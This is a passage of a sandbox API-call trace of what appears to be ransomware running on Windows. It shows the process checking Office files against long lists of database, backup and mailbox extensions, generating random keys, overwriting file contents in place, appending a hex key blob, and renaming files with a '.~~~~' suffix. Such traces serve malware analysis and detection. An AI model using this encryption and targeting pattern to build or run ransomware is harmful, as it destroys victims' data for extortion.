	[0144.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".bdb") returned 0x0
	[0144.848] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0144.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.848] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0144.849] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.849] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0144.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0144.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0144.850] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26483976904) returned 1
	[0144.850] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbfbd99d0, dwHighDateTime=0x1d60e1e)) 
	[0144.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0144.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0144.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0144.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37fc18
	[0144.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.850] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37fc18 | out: hHeap=0x300000) returned 1
	[0144.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.850] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28acda0
	[0144.850] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37ea48
	[0144.850] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acda0 | out: hHeap=0x300000) returned 1
	[0144.850] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0144.851] GetLastError () returned 0x0
	[0144.851] GetLastError () returned 0x0
	[0144.851] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0144.851] GetLastError () returned 0x0
	[0144.851] GetLastError () returned 0x0
	[0144.851] ReadFile (in: hFile=0x10c, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0145.089] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.090] WriteFile (in: hFile=0x10c, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0145.090] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0145.090] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.090] WriteFile (in: hFile=0x10c, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0145.526] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0145.526] WriteFile (in: hFile=0x10c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0145.526] CloseHandle (hObject=0x10c) returned 1
	[0145.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6c68
	[0145.526] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev.hxs.~~~~")) returned 1
	[0145.528] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c6c68 | out: hHeap=0x300000) returned 1
	[0145.528] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0145.528] GetLastError () returned 0x0
	[0145.529] RtlWakeConditionVariable () returned 0x0
	[0145.529] GetCurrentThreadId () returned 0xaf0
	[0145.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".scr") returned 0x0
	[0145.529] lstrlenW (lpString=".cmd") returned 4
	[0145.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".cmd") returned 0x0
	[0145.529] lstrlenW (lpString=".dll") returned 4
	[0145.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".dll") returned 0x0
	[0145.529] lstrlenW (lpString=".bat") returned 4
	[0145.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".bat") returned 0x0
	[0145.529] lstrlenW (lpString=".cpl") returned 4
	[0145.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".cpl") returned 0x0
	[0145.529] lstrlenW (lpString=".sys") returned 4
	[0145.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".sys") returned 0x0
	[0145.529] lstrlenW (lpString=".msc") returned 4
	[0145.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".msc") returned 0x0
	[0145.529] lstrlenW (lpString=".com") returned 4
	[0145.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".com") returned 0x0
	[0145.529] lstrlenW (lpString=".lnk") returned 4
	[0145.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".lnk") returned 0x0
	[0145.529] lstrlenW (lpString=".msp") returned 4
	[0145.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".msp") returned 0x0
	[0145.529] lstrlenW (lpString=".pif") returned 4
	[0145.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".pif") returned 0x0
	[0145.530] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0145.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch="msp\r\n.pif") returned 0x0
	[0145.530] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0145.531] lstrlenW (lpString=".sqb") returned 4
	[0145.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".sqb") returned 0x0
	[0145.532] lstrlenW (lpString=".ost") returned 4
	[0145.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".ost") returned 0x0
	[0145.532] lstrlenW (lpString=".txt") returned 4
	[0145.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".txt") returned 0x0
	[0145.532] lstrlenW (lpString=".mdt") returned 4
	[0145.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".mdt") returned 0x0
	[0145.532] lstrlenW (lpString=".BDB") returned 4
	[0145.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".BDB") returned 0x0
	[0145.532] lstrlenW (lpString=".eql") returned 4
	[0145.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".eql") returned 0x0
	[0145.532] lstrlenW (lpString=".DBF") returned 4
	[0145.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".DBF") returned 0x0
	[0145.532] lstrlenW (lpString=".EQL") returned 4
	[0145.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".EQL") returned 0x0
	[0145.532] lstrlenW (lpString=".FDB") returned 4
	[0145.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".FDB") returned 0x0
	[0145.532] lstrlenW (lpString=".EDB") returned 4
	[0145.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".EDB") returned 0x0
	[0145.532] lstrlenW (lpString=".DACPAC") returned 7
	[0145.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".DACPAC") returned 0x0
	[0145.532] lstrlenW (lpString=".VHD") returned 4
	[0145.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".VHD") returned 0x0
	[0145.532] lstrlenW (lpString=".DBV") returned 4
	[0145.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".DBV") returned 0x0
	[0145.532] lstrlenW (lpString=".dacpac") returned 7
	[0145.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".dacpac") returned 0x0
	[0145.532] lstrlenW (lpString=".sdf") returned 4
	[0145.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".sdf") returned 0x0
	[0145.532] lstrlenW (lpString=".accdb") returned 6
	[0145.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".accdb") returned 0x0
	[0145.532] lstrlenW (lpString=".DBX") returned 4
	[0145.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".DBX") returned 0x0
	[0145.532] lstrlenW (lpString=".MDT") returned 4
	[0145.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".MDT") returned 0x0
	[0145.533] lstrlenW (lpString=".SQB") returned 4
	[0145.533] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".SQB") returned 0x0
	[0145.533] lstrlenW (lpString=".vhd") returned 4
	[0145.533] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".vhd") returned 0x0
	[0145.533] lstrlenW (lpString=".bac") returned 4
	[0145.533] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".bac") returned 0x0
	[0145.533] lstrlenW (lpString=".mdf") returned 4
	[0145.533] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".mdf") returned 0x0
	[0145.533] lstrlenW (lpString=".BAK") returned 4
	[0145.533] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".BAK") returned 0x0
	[0145.533] lstrlenW (lpString=".BAC") returned 4
	[0145.533] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".BAC") returned 0x0
	[0145.533] lstrlenW (lpString=".dbs") returned 4
	[0145.533] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".dbs") returned 0x0
	[0145.533] lstrlenW (lpString=".vhdx") returned 5
	[0145.533] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".vhdx") returned 0x0
	[0145.533] lstrlenW (lpString=".NDF") returned 4
	[0145.533] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".NDF") returned 0x0
	[0145.533] lstrlenW (lpString=".dat") returned 4
	[0145.533] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".dat") returned 0x0
	[0145.533] lstrlenW (lpString=".DBS") returned 4
	[0145.533] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".DBS") returned 0x0
	[0145.533] lstrlenW (lpString=".CKP") returned 4
	[0145.533] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".CKP") returned 0x0
	[0145.533] lstrlenW (lpString=".edb") returned 4
	[0145.533] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".edb") returned 0x0
	[0145.533] lstrlenW (lpString=".PST") returned 4
	[0145.533] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".PST") returned 0x0
	[0145.534] lstrlenW (lpString=".dbf") returned 4
	[0145.534] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".dbf") returned 0x0
	[0145.534] lstrlenW (lpString=".SQL") returned 4
	[0145.534] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".SQL") returned 0x0
	[0145.534] lstrlenW (lpString=".pst") returned 4
	[0145.534] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".pst") returned 0x0
	[0145.534] lstrlenW (lpString=".dbv") returned 4
	[0145.534] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".dbv") returned 0x0
	[0145.534] lstrlenW (lpString=".SDF") returned 4
	[0145.534] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".SDF") returned 0x0
	[0145.534] lstrlenW (lpString=".dtxs") returned 5
	[0145.534] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".dtxs") returned 0x0
	[0145.534] lstrlenW (lpString=".db3") returned 4
	[0145.534] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".db3") returned 0x0
	[0145.534] lstrlenW (lpString=".OST") returned 4
	[0145.534] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".OST") returned 0x0
	[0145.534] lstrlenW (lpString=".dbx") returned 4
	[0145.534] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".dbx") returned 0x0
	[0145.534] lstrlenW (lpString=".DB3") returned 4
	[0145.534] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".DB3") returned 0x0
	[0145.534] lstrlenW (lpString=".DAT") returned 4
	[0145.534] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".DAT") returned 0x0
	[0145.534] lstrlenW (lpString=".VHDX") returned 5
	[0145.534] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".VHDX") returned 0x0
	[0145.534] lstrlenW (lpString=".ndf") returned 4
	[0145.535] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".ndf") returned 0x0
	[0145.535] lstrlenW (lpString=".DB") returned 3
	[0145.535] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".DB") returned 0x0
	[0145.535] lstrlenW (lpString=".sql") returned 4
	[0145.535] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".sql") returned 0x0
	[0145.535] lstrlenW (lpString=".MYD") returned 4
	[0145.535] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".MYD") returned 0x0
	[0145.535] lstrlenW (lpString=".DBT") returned 4
	[0145.535] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".DBT") returned 0x0
	[0145.535] lstrlenW (lpString=".ACCDB") returned 6
	[0145.535] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".ACCDB") returned 0x0
	[0145.535] lstrlenW (lpString=".fdb") returned 4
	[0145.535] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".fdb") returned 0x0
	[0145.535] lstrlenW (lpString=".bak") returned 4
	[0145.535] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".bak") returned 0x0
	[0145.535] lstrlenW (lpString=".myd") returned 4
	[0145.535] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".myd") returned 0x0
	[0145.535] lstrlenW (lpString=".DTXS") returned 5
	[0145.535] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".DTXS") returned 0x0
	[0145.535] lstrlenW (lpString=".ckp") returned 4
	[0145.535] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".ckp") returned 0x0
	[0145.535] lstrlenW (lpString=".dbt") returned 4
	[0145.535] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".dbt") returned 0x0
	[0145.535] lstrlenW (lpString=".db") returned 3
	[0145.536] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".db") returned 0x0
	[0145.536] lstrlenW (lpString=".TXT") returned 4
	[0145.536] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".TXT") returned 0x0
	[0145.536] lstrlenW (lpString=".MDF") returned 4
	[0145.536] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".MDF") returned 0x0
	[0145.536] lstrlenW (lpString=".bdb") returned 4
	[0145.536] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".bdb") returned 0x0
	[0145.536] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0145.536] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0145.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0145.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0145.536] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3956b8) returned 1
	[0145.537] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0145.537] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0145.538] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0145.538] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0145.538] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0145.538] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26552790320) returned 1
	[0145.538] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xc0265650, dwHighDateTime=0x1d60e1e)) 
	[0145.538] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0145.538] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0145.538] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0145.538] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x380350
	[0145.538] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0145.538] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x380350 | out: hHeap=0x300000) returned 1
	[0145.538] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0145.538] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0145.538] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28acda0
	[0145.539] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0145.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6c68
	[0145.539] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acda0 | out: hHeap=0x300000) returned 1
	[0145.539] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0145.539] GetLastError () returned 0x0
	[0145.539] GetLastError () returned 0x0
	[0145.539] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0145.539] GetLastError () returned 0x0
	[0145.540] GetLastError () returned 0x0
	[0145.540] ReadFile (in: hFile=0x10c, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x1f8fec0*=0x281, lpOverlapped=0x0) returned 1
	[0145.542] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffffd7f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.542] WriteFile (in: hFile=0x10c, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x281, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x281, lpOverlapped=0x0) returned 1
	[0145.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0145.543] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.543] WriteFile (in: hFile=0x10c, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
